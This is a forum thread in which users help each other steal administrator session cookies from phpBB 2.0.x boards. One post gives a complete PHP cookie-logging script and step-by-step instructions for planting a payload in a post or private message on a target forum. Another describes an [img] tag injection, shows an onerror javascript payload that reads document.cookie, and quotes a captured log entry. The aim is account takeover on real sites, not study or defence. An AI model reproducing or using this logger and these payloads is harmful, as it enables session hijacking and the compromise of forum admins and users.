Waraxe IT Security Portal

Bill324 · Regular user

Hey,

I just need a little matter cleared up.

On the phpbb 2.0.16 cookie stealer thingy, the code looks summin like this:

Chb · Valuable expert

To your cookie-logging-script of course. -> Your site.
Or how do you get the script into the directory of victim's site? Laughing

Bill324 · Regular user

I did it but...

It just like appeared...with the code.

johnny · Regular user

You have to have cookies.php on your own website. The code for it is

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer=getenv ('HTTP_REFERER');
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
fclose($fl);
?>

And you need log.txt on the same website. Both of these files should be in the same directory and have write access and execute access (chmod 777).

Then you change the code that you posted to point to your own website.

Then paste the code into a PM or a post on the target website. When an admin running IE for Windows with autologin on views the post, his cookie will be copied into the file log.txt on your website.

pasching · Regular user

i use the same cookies.php, the difference is that i use the [img] exploit
only problem is, how do i get him to read the cookie data?
i know it's supposed to be stored in document.cookie but if i do [img]http://www.mywebspace.com/cookies.php?c=document.cookie[/img], then in my log text there's

Cookie: document.cookie
IP: 217.111.50.190
Date and Time: 3 May, 2006, 1:32 pm
Referer: http://www.blabla.com/board/posting.php4?mode=topicreview&t=136498

it probably needs javascript code to read it out
any advice?[/img]

Chb · Valuable expert

pasching · Regular user

hehe, thats not the problem, this is an old 2.0.0 board where you can execute your own code between the img tags
old exploit, worked til 2.0.8 or so
anyways, as you can see i can already get IP adress and referer of the target (or, the person who reads my post)
i can also do whats explained here -> http://marc.theaimsgroup.com/?l=bugtraq&m=102253327105538&w=2, do a [img]http://a.a/a"onerror="javascript:alert(document.cookie)[/img] and it does a popup with my cookie data
so executing code works fine, i just need the correct code for executing my cookies.php
thanks, greets